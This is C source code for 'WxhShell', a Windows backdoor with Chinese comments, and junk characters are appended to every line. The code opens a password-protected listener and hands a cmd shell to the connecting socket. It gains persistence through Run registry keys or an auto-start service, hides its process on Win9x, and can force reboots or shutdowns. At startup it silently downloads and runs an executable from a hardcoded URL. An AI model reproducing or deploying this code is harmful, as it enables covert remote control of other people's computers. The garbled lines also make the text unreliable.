    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l I2UpfkBP  
    if(Boot(SHUTDOWN)) {_ZbPPh;M"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &09G9GsnQ  
    else { }{v0}-~@  
    closesocket(wsh); :^]Fp UY  
    ExitThread(0); m*v@L4t( 1  
    } ,.&D{ $1W  
    break; 4ZB]n,pfT  
    } \3)U~[O>:  
  // 获取shell Ef=4yH?\j  
  case 's': { 7 *4i0{]  
    CmdShell(wsh); Htep3Ol3  
    closesocket(wsh); 51'V[tI;8  
    ExitThread(0); h9 rrkV9  
    break; z0T6a15f!P  
  } '(8} <(%  
  // 退出 u2*."W\  
  case 'x': { %@%~<U)W  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g5 y*-t  
    CloseIt(wsh); ,|w,  
    break; A \Z_br  
    } ~~#/jULbV  
  // 离开 S4{\5ulr7  
  case 'q': { h\8bo=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); epP_~TU  
    closesocket(wsh); Y }8HJTMB  
    WSACleanup(); +sXnC\  
    exit(1); 2F:X:f  
    break; b=:%*gq,  
        } Z FIgKWZ'  
  } qx}*L'xB  
  } UDb  
Fh.Z sPn,m  
  // 提示信息 [8[`V)b  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >P2QL>P  
} ;5}"2hU>  
  } ;AT~?o`n  
gn[h:+H&  
  return; x%RE3J-  
} 2O`s'&.h  
dj3E20Ws  
// shell模块句柄 WQHlf 0]  
int CmdShell(SOCKET sock) MUp{2_RA  
{ `e5f69"  
STARTUPINFO si; ))uki*UNK  
ZeroMemory(&si,sizeof(si)); _u;34H&/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1VG7[#Zy  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M532>+A]Za  
PROCESS_INFORMATION ProcessInfo; )eBCO~HS  
char cmdline[]="cmd"; ra{HlB{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); TzsNhrU{  
  return 0; o]0\Km  
} _({K6adb  
\05 n$.  
// 自身启动模式 P L*kjrLu7  
int StartFromService(void) (M,*R v  
{ Fpntd IU  
typedef struct `wLMJ,@f.  
{ C?PgC~y)  
  DWORD ExitStatus; aP +)  
  DWORD PebBaseAddress; )>WSuf j  
  DWORD AffinityMask; 8MCSU'uQ  
  DWORD BasePriority; 19^B610  
  ULONG UniqueProcessId; W$u/tRF  
  ULONG InheritedFromUniqueProcessId; 4:qM'z  
}   PROCESS_BASIC_INFORMATION; p}k\l dmh{  
|dk9/xdX  
PROCNTQSIP NtQueryInformationProcess; t0o'_>*?A  
I$1~;!<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8Sg :HU\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M1=y-3dW3  
PH]ui=  
  HANDLE             hProcess; "z ;ky8  
  PROCESS_BASIC_INFORMATION pbi; O.wk*m!9  
^+Stvj:N  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mX QVL.P\  
  if(NULL == hInst ) return 0; v/}h y$7  
T\$r|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %z AN@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G:?l;+P1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mi$*,fz  
e(sV4Z~  
  if (!NtQueryInformationProcess) return 0; 1N\-Ku  
L9(!L$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }TAHVcX*p  
  if(!hProcess) return 0; YNWAef4  
'Lv>!s 7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }e0)=*;l  
>Y[nU~w  
  CloseHandle(hProcess); B3iU#   
CGN:=D<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !Typ_Cs  
if(hProcess==NULL) return 0; qox31pnS  
!)TO2?,^  
HMODULE hMod; }@S''AA\  
char procName[255]; [}!obbM  
unsigned long cbNeeded; ^J$?[@qD  
>\c"U1%E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yu] nK-Y7S  
7e D<(  
  CloseHandle(hProcess); ^zVBS7`J  
ia}V8i  
if(strstr(procName,"services")) return 1; // 以服务启动 ![#>{Q4i  
9Wi+7_)  
  return 0; // 注册表启动 J`4{O:{4  
} X:Z*7P/  
BSib/)p   
// 主模块 2 .)`8|c9  
int StartWxhshell(LPSTR lpCmdLine) wth*H$iF  
{ G.#sX  
  SOCKET wsl; b#[7A  
BOOL val=TRUE; 8o4?mhqV  
  int port=0; L 2:N@TP  
  struct sockaddr_in door; =/jCDY  
%;{R o)03  
  if(wscfg.ws_autoins) Install(); Us*"g{PQ  
($ l t@j  
port=atoi(lpCmdLine); 4S+sz?W2j  
79JU   
if(port<=0) port=wscfg.ws_port; /}=Bi-  
*(sUz?t  
  WSADATA data; 4q7hL  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; EsR$H2"  
%+,7=Wt-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1-M\K^F  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L&2 Zn{#`  
  door.sin_family = AF_INET; U F ]g6u  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); j >wT-s  
  door.sin_port = htons(port); pNzSy"Y$  
)KPQ8y!d  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~Uz1()ftz  
closesocket(wsl); _;1H2o2f  
return 1; m|5yET  
} T@ecWRro  
CkJ\v%JAW  
  if(listen(wsl,2) == INVALID_SOCKET) { L~])?d  
closesocket(wsl); 6 -\ghPo  
return 1; IfdgMELk  
} P}Ud7Vil;l  
  Wxhshell(wsl); LgX"Qk&Ca  
  WSACleanup(); /?,c4K,ap  
&>. w*  
return 0; R} #6  
;ESuj'*t  
} C=z7Gk=  
U%~L){<V[  
// 以NT服务方式启动 UmRI! WQl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k}yUD 0Y  
{ U[Pll~m2b  
DWORD   status = 0; | rDv!m  
  DWORD   specificError = 0xfffffff; w9J^s<e  
%j3 *j  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;P{HePs=)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _26~<gU8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7Q>*]  
  serviceStatus.dwWin32ExitCode     = 0; )Bq~1M 2  
  serviceStatus.dwServiceSpecificExitCode = 0; smM*HDK  
  serviceStatus.dwCheckPoint       = 0; C)r!;u)AZH  
  serviceStatus.dwWaitHint       = 0; ^mu?V-4  
f;k'dqlv  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); > %~%O`+  
  if (hServiceStatusHandle==0) return; *Hnk,?kPq  
xgi/,Nk '  
status = GetLastError(); FD&"k=p+X  
  if (status!=NO_ERROR) ]i3 1@O  
{ -2dk8]KB]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; JDyP..Dt  
    serviceStatus.dwCheckPoint       = 0; D-[` wCa,  
    serviceStatus.dwWaitHint       = 0; ~9OART='  
    serviceStatus.dwWin32ExitCode     = status; k8}*b&+{vz  
    serviceStatus.dwServiceSpecificExitCode = specificError; ZPT6 p J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T-: @p>  
    return; o0nKgq'w|x  
  } ?~;8Y=O  
bk**% ]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; eJ+uP,$  
  serviceStatus.dwCheckPoint       = 0; X0,?~i6Q  
  serviceStatus.dwWaitHint       = 0; Hvn{aLa.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wX_s./#JJ  
} ccUq!1  
VPB,8zb ]  
// 处理NT服务事件,比如:启动、停止 ,<[Q/:}[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |G+6R-_  
{ A{5^A)$  
switch(fdwControl) 0u]!C"VX  
{ *LTFDC  
case SERVICE_CONTROL_STOP: ,~@Nhd~k  
  serviceStatus.dwWin32ExitCode = 0; io[$QTY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *Txt`z[|  
  serviceStatus.dwCheckPoint   = 0; ?I6us X9$  
  serviceStatus.dwWaitHint     = 0; Q0)6 2[cMm  
  { e5!LbsJv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IpX>G]"-C  
  } m"{D}(TA  
  return; fh0a "#L{  
case SERVICE_CONTROL_PAUSE: ZgN )sVJ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [MmOPm}@  
  break; zFy0Sz F  
case SERVICE_CONTROL_CONTINUE: 9V]\,mD=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; zj ;'0Zu  
  break; eIz T(3(  
case SERVICE_CONTROL_INTERROGATE: b<|l* \  
  break; NuLyu=.?  
}; ,k*g `OTW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L'dR;T[;  
} S\"/=|\  
2|xNT9RW  
// 标准应用程序主函数 }H!l@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  #K8kz  
{ 1gEeZ\B-&  
sLGut7@Sg  
// 获取操作系统版本 ,&Iw5E[  
OsIsNt=GetOsVer(); 'eNcQJh  
GetModuleFileName(NULL,ExeFile,MAX_PATH); tta\.ic  
)z'LXy8  
  // 从命令行安装 \,<5U F0  
  if(strpbrk(lpCmdLine,"iI")) Install(); kY8aK8M  
86c@Kk7z  
  // 下载执行文件 o ]UG*2  
if(wscfg.ws_downexe) { iXp*G52  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }g1V6 `8&  
  WinExec(wscfg.ws_filenam,SW_HIDE); ou;E@`h;x  
} '.jr" 3u  
}%K)R 5C  
if(!OsIsNt) { x>5"7MR`  
// 如果时win9x,隐藏进程并且设置为注册表启动 }@ Nurs)%_  
HideProc(); fiuF!<#;6  
StartWxhshell(lpCmdLine); 1'c  
} }P8@\2@=T  
else pIKQx5;  
  if(StartFromService()) y8=(k}=3  
  // 以服务方式启动 BU-m\Kf)  
  StartServiceCtrlDispatcher(DispatchTable); 5l"/lGw  
else xz1jRI$  
  // 普通方式启动 %A@Q%l6  
  StartWxhshell(lpCmdLine); Z x9oj  
N# o" W  
return 0; *#O8 ^3D_c  
} 9>y6zFTV  
6#egy|("nF  
vYT%e:8)q  
cVHv>nd#  
=========================================== }pP<+U  
739J] M  
g. V6:>,  
?T+Uu  
OGgP~hd  
*XRAM.  
" FBn`sS8hH  
rFY% fo  
#include <stdio.h> U#=Q`  
#include <string.h> kHj|:,'sV  
#include <windows.h> $tGk,.#j  
#include <winsock2.h> ![ & go  
#include <winsvc.h> x1\ a_Kt  
#include <urlmon.h> PCxv_Svf  
|Qq_;x]  
#pragma comment (lib, "Ws2_32.lib") mlolSD;7  
#pragma comment (lib, "urlmon.lib") d|UK=B^x  
zLQplw`#  
#define MAX_USER   100 // 最大客户端连接数 giU6f!%  
#define BUF_SOCK   200 // sock buffer l56D?E8  
#define KEY_BUFF   255 // 输入 buffer ~~h@(2/Q>x  
hhu !'(j  
#define REBOOT     0   // 重启 6qsT/  
#define SHUTDOWN   1   // 关机 `mU'{  
/IDfGAE  
#define DEF_PORT   5000 // 监听端口 wO6`Ap t1:  
,z6&k   
#define REG_LEN     16   // 注册表键长度 1:I47/  
#define SVC_LEN     80   // NT服务名长度 ulM6R/ V:?  
>_ji`/ d{  
// 从dll定义API L_Q1:nL-0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F<wwuCbF  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); S^}@X?v  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2=pVX  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vas   
s_} 1J,Y  
// wxhshell配置信息 ]ee%=+'  
struct WSCFG { 2" (vjnfH  
  int ws_port;         // 监听端口 <&3qFK*9r  
  char ws_passstr[REG_LEN]; // 口令 (;^VdiJ  
  int ws_autoins;       // 安装标记, 1=yes 0=no \TM%,RC3K  
  char ws_regname[REG_LEN]; // 注册表键名 =y" lX{}G  
  char ws_svcname[REG_LEN]; // 服务名 > <WR]`G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 o g.LD7&/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 MH{$"^K  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }a= &o6=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .VF4?~+M-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Rg! [ic !  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]kC/b^~+m  
N~H9|CX  
}; $_,?SXM  
a%Ky;ys  
// default Wxhshell configuration 3| 5Af  
struct WSCFG wscfg={DEF_PORT, U[5  
    "xuhuanlingzhe", A!}Wpw%(/  
    1, SJhcmx+  
    "Wxhshell", F5Tah{  
    "Wxhshell", U#v??Sl  
            "WxhShell Service", VIo %((  
    "Wrsky Windows CmdShell Service", Qn> 0s  
    "Please Input Your Password: ", 2[i:bksjW  
  1, l%h0x*?$  
  "http://www.wrsky.com/wxhshell.exe", y~_wr}.CS  
  "Wxhshell.exe" Ct[{>asun  
    }; OF^v;4u  
aL@myq.  
// 消息定义模块 r=[T5,L(s  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r (Ab+1b  
char *msg_ws_prompt="\n\r? for help\n\r#>"; a5o&6_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X-Y:)UT  
char *msg_ws_ext="\n\rExit."; 1MI/:vy-  
char *msg_ws_end="\n\rQuit."; nunTTE,iq%  
char *msg_ws_boot="\n\rReboot..."; xMI4*4y(  
char *msg_ws_poff="\n\rShutdown..."; ]v7f9MC'\  
char *msg_ws_down="\n\rSave to "; w[Ee#Yaj.-  
*"#62U6  
char *msg_ws_err="\n\rErr!"; n2\;`9zm  
char *msg_ws_ok="\n\rOK!"; \O 9j+L"  
\v bU| a  
char ExeFile[MAX_PATH]; &VtTUy}  
int nUser = 0; D{YAEG   
HANDLE handles[MAX_USER]; /I|.^ Id|  
int OsIsNt; Y3G$(+i8  
)`?Es8uW  
SERVICE_STATUS       serviceStatus; *Q=ER  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; p$dVGvM(  
iK{ a9pt  
// 函数声明 y\&GPr  
int Install(void); s"b()JP  
int Uninstall(void); `HXP*Bp#  
int DownloadFile(char *sURL, SOCKET wsh); ~[bS+ ]d!  
int Boot(int flag); p.,o@GcL~  
void HideProc(void); dOPA0Ja  
int GetOsVer(void); "TB4w2?=  
int Wxhshell(SOCKET wsl); qa 'YZE`  
void TalkWithClient(void *cs); o, e y.  
int CmdShell(SOCKET sock); g'G%BX  
int StartFromService(void); :|/bEP]p/  
int StartWxhshell(LPSTR lpCmdLine); cbvK;;  
i1RU5IRy|j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z(LDAZG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5zXw0_  
~#3h-|]*  
// 数据结构和表定义 j.O7-t%C  
SERVICE_TABLE_ENTRY DispatchTable[] = O8#}2  
{ C 9IKX  
{wscfg.ws_svcname, NTServiceMain}, v#u]cmI  
{NULL, NULL} (3YqM7cqt  
}; z[:UPPbW  
@ @$=MSN  
// 自我安装 JJJlgr]#  
int Install(void) ]eA<  
{ p-n_ ">7  
  char svExeFile[MAX_PATH]; *yp}#\rk  
  HKEY key; x]umh{H~  
  strcpy(svExeFile,ExeFile); #W`>vd}  
gNr/rp9A$m  
// 如果是win9x系统,修改注册表设为自启动 jG=*\lK6  
if(!OsIsNt) { s6<`#KFAg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Di{T3~fqU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sOA!Sl  
  RegCloseKey(key); W,Q"?(+]B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !FOPFPn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "'p;Udt/Qm  
  RegCloseKey(key); t{t*.{w  
  return 0; 1GB$;0 W),  
    } <(x[Qp/5P  
  } #mY*H^jI]~  
} F`,XB[}2  
else { >*rsRR  
7M#2Tze}  
// 如果是NT以上系统,安装为系统服务 S)Cd1`Gf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !J ")TP=  
if (schSCManager!=0) *IWO ,!  
{ tU7,nE>p  
  SC_HANDLE schService = CreateService ,[enGw  
  ( ?_36uJo}  
  schSCManager, xsS/)R?  
  wscfg.ws_svcname, I$sJ8\|gw'  
  wscfg.ws_svcdisp, %RA8M- d  
  SERVICE_ALL_ACCESS, aRg/oA4}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /h'V1zL#  
  SERVICE_AUTO_START, xZAc~~9tD  
  SERVICE_ERROR_NORMAL, W6f?/{Oo8  
  svExeFile, UO^"<0u  
  NULL, o>x*_4[  
  NULL, >0kn&pe7#T  
  NULL, ecIxiv\  
  NULL, _?Zg$7VJ  
  NULL $ ;cZq  
  ); :-HVK^$%  
  if (schService!=0) (Qmpz  
  {  M\zM-B  
  CloseServiceHandle(schService); 8Z{&b,Y4L  
  CloseServiceHandle(schSCManager); -g8G47piX:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \{  
  strcat(svExeFile,wscfg.ws_svcname); & Ji!*~sE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /Zw^EM6c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W/COrgbW  
  RegCloseKey(key); n'a=@/  
  return 0; t_1(Ex  
    } MHo(j%I1E  
  } urmx})=  
  CloseServiceHandle(schSCManager); K?0f)@\nx  
} 0Q>f,}W%>  
} WVDkCo@  
u*:B 9E  
return 1; =Tv;?U C  
} kBZnR$Cl  
@-y.Y}k#$~  
// 自我卸载 iX4?5yz~<  
int Uninstall(void) S*,DX~vig  
{ |r2 U4 ^  
  HKEY key;  ,r\  
?v8.3EE1\o  
if(!OsIsNt) { gZbC[L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e<wA["^  
  RegDeleteValue(key,wscfg.ws_regname); e7X#C)  
  RegCloseKey(key); Ce 3{KGBw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HD^Ou5YB  
  RegDeleteValue(key,wscfg.ws_regname); o%dKi]  
  RegCloseKey(key); m$b5Vqq  
  return 0; 2JY]$$K7  
  } cm`Jr#kl{  
} =[]V$<G'w{  
} J^t-pU  
else { "9W] TG  
@Z9X^Y+u^h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Cu*+E%P9`  
if (schSCManager!=0) 88%7  
{ OCR`1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2>%|PQ  
  if (schService!=0) nymF`0HYe1  
  { %eK=5Er jx  
  if(DeleteService(schService)!=0) { KtTlc#*KU  
  CloseServiceHandle(schService); xi5G?r  
  CloseServiceHandle(schSCManager); @E Srj[  
  return 0; 3<Qe'd ^  
  } -G\svwv@)  
  CloseServiceHandle(schService); Tp vq5Cz  
  } 3y#0Lb-y  
  CloseServiceHandle(schSCManager); eBUexxBY  
} )Z4ilpU,  
} Uk@du7P1k  
%x}iEqkU  
return 1; 5UWj#|t  
} 0v7#vZ  
j@g`Pm%u`  
// 从指定url下载文件 j!1 :+H_L  
int DownloadFile(char *sURL, SOCKET wsh) ,|5|aVfh  
{ hJ~Na\?w  
  HRESULT hr; m5c=h  
char seps[]= "/"; :%&|5Ytb  
char *token; sd5%Szx  
char *file; Jcy{ ~>@7  
char myURL[MAX_PATH]; zWs ("L(#s  
char myFILE[MAX_PATH]; D*T*of G  
|DUWB;  
strcpy(myURL,sURL); g:dtfa/]  
  token=strtok(myURL,seps); ?nf!s J'm  
  while(token!=NULL) 0H9UM*O  
  { qdW"g$fW  
    file=token; j\hI, mc  
  token=strtok(NULL,seps); &\Ze<u  
  } 2}\/_Y6  
$U/|+*  
GetCurrentDirectory(MAX_PATH,myFILE); 7\0}te  
strcat(myFILE, "\\"); }Qu kn  
strcat(myFILE, file); PTS dW~3  
  send(wsh,myFILE,strlen(myFILE),0); gZf8/Tp\z  
send(wsh,"...",3,0); * \$m1g7b  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `erKHZ]S  
  if(hr==S_OK) c1Rn1M,2k  
return 0; i!<1&{  
else mb\"qD5  
return 1; rv?4S`Z,x$  
0 s$;3qE  
} Tr@|QNu  
K[q{)>,9  
// 系统电源模块 ;T\+TZtI  
int Boot(int flag) zJ*(G_H  
{ jk\z-hd  
  HANDLE hToken; v ^R:XdH  
  TOKEN_PRIVILEGES tkp; *)Us   
pN4gHi=  
  if(OsIsNt) { w}qLI4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Nsf>b8O  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]N;\AXZ7  
    tkp.PrivilegeCount = 1; w/f?KN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Tlm::S   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FP<mFqy  
if(flag==REBOOT) { -=W Qed}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R wTzS;  
  return 0; Zmc"  
} h(K}N5`  
else { *x-@}WY$U  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) XiM d|D  
  return 0; at+Nd K  
} X> T_Xc  
  } ' ~ 1/*F%8  
  else { -#Ys67,4N  
if(flag==REBOOT) { XI+GWNAmJ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) nB;[;dC z  
  return 0; F};T<#  
} 5AK@e|G$w  
else { ,m Nd#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r"9hpZH  
  return 0; Ye|(5f  
} Alk+MwjR  
} eiQ42x@Z  
=o:1Rc7J  
return 1; H+ 7HD|GE  
} x=03 WQ8  
&. MUSqo9  
// win9x进程隐藏模块 &u!MI  
void HideProc(void) ,<BV5~T.|  
{ . {vMn0c  
H]}mg='kI  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7~~suQ{F4  
  if ( hKernel != NULL ) wBJ|%mc3TA  
  { Nwo*tb:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); PLJDRp 2o  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {%\@Z-9%q,  
    FreeLibrary(hKernel); +NJIi@  
  } ,e^~(ITaq  
?kK3%uJy&  
return; qe5;Pq !G  
} "rrw~  
'0=mV"#H{  
// 获取操作系统版本 bcUSjG>  
int GetOsVer(void) VU1Wr|  
{  nvCp-Z$  
  OSVERSIONINFO winfo; rd;E /:`5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,9M2'6=  
  GetVersionEx(&winfo); H.;2o(vD  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }qJ`nN8  
  return 1; QUm[7<"  
  else v 8EI   
  return 0; I/%L,XyRI  
} dlA0&;}z  
di(H-=9G62  
// 客户端句柄模块 bk1.H@8  
int Wxhshell(SOCKET wsl) 86eaX+F  
{ } lXor~_i  
  SOCKET wsh; j]U~ZAn,K  
  struct sockaddr_in client; *+k yuY J  
  DWORD myID; ^ZIs>.'  
f1S% p  
  while(nUser<MAX_USER) }(!rB#bf  
{ wwet90_g  
  int nSize=sizeof(client); (! 8y~n 1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Fn0 |v66  
  if(wsh==INVALID_SOCKET) return 1; dq%C~j{v  
\=P(?!v  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G^cMY$?99  
if(handles[nUser]==0) mHAfKB  
  closesocket(wsh); RUq[HxF) 6  
else 0_AIKJrL  
  nUser++; ESk:$`P  
  } t%O)Ti  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *&I _fAh]  
"Ec9.#U/  
  return 0; JIjo^zOXsc  
} A^$xE6t  
U<r!G;^`  
// 关闭 socket '? -N  
void CloseIt(SOCKET wsh) `DE_<l  
{ %iME[| u&  
closesocket(wsh); s(ap~UCOw  
nUser--; $BT[fJ'k  
ExitThread(0); Jamt@=  
} eh>FYx( S  
9 ~$E+ m(  
// 客户端请求句柄 ..k8HFz>"  
void TalkWithClient(void *cs) jse!EtB:  
{ ~g%Ht# <  
p] N/]2rR  
  SOCKET wsh=(SOCKET)cs; z,hBtq:-$  
  char pwd[SVC_LEN]; b#"&]s-  
  char cmd[KEY_BUFF]; l@1=./L?  
char chr[1]; x%O6/rl  
int i,j; 9ZG:2ncdJ  
I<XYLe[_S  
  while (nUser < MAX_USER) { yTn<5T[H  
FC~%G&K/q^  
if(wscfg.ws_passstr) { \{!,a  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o2hk!#5[4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XPZ8*8JL  
  //ZeroMemory(pwd,KEY_BUFF); _~D#?cFY6  
      i=0; hSXJDT2  
  while(i<SVC_LEN) { i~AReJxt7  
.)Pul|)d  
  // 设置超时 [k(b<'  
  fd_set FdRead; +]z Rn  
  struct timeval TimeOut; ;<;~;od*/  
  FD_ZERO(&FdRead); Fq!_VF^r  
  FD_SET(wsh,&FdRead); &cJ?mSI  
  TimeOut.tv_sec=8; Yh;(puhyA  
  TimeOut.tv_usec=0; F|R7hqf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); EaHJl  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _%Ua8bR$  
6$f\#TR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jN'h/\  
  pwd=chr[0]; Cz$q"U  
  if(chr[0]==0xd || chr[0]==0xa) { :<k (y?GB  
  pwd=0; u??ti OK{  
  break; :vx<m_  
  } A%7f;&x!  
  i++; % ;R&cSZ  
    } L;y BZLM  
;UUgqX#  
  // 如果是非法用户,关闭 socket #$W0%7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7fO<=ei:  
} C2\WvE%!  
| 5:2?S2R  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vdQ#C G$/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x Gbq,~_r  
<1Sj_HCT  
while(1) { : ir3u  
42A'`io[w]  
  ZeroMemory(cmd,KEY_BUFF); tPN CdA  
]4V1]  
      // 自动支持客户端 telnet标准   *]h"J]  
  j=0; 5 r_Z3/%  
  while(j<KEY_BUFF) { `Mbs6AJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J~om e7L  
  cmd[j]=chr[0]; Jc}6kFgO6  
  if(chr[0]==0xa || chr[0]==0xd) { aPK:k$.  
  cmd[j]=0; K|$ c#X  
  break; JC-> eY"O2  
  } C& XPn;f  
  j++; njZ vi}m~  
    } %8%|6^,  
x{zZ%_F  
  // 下载文件 dT% eq7=  
  if(strstr(cmd,"http://")) { _u u&?<h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +>;Ux1'@  
  if(DownloadFile(cmd,wsh)) Q _!tn*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); IGVq`Mxj  
  else 3!/J!X3L  
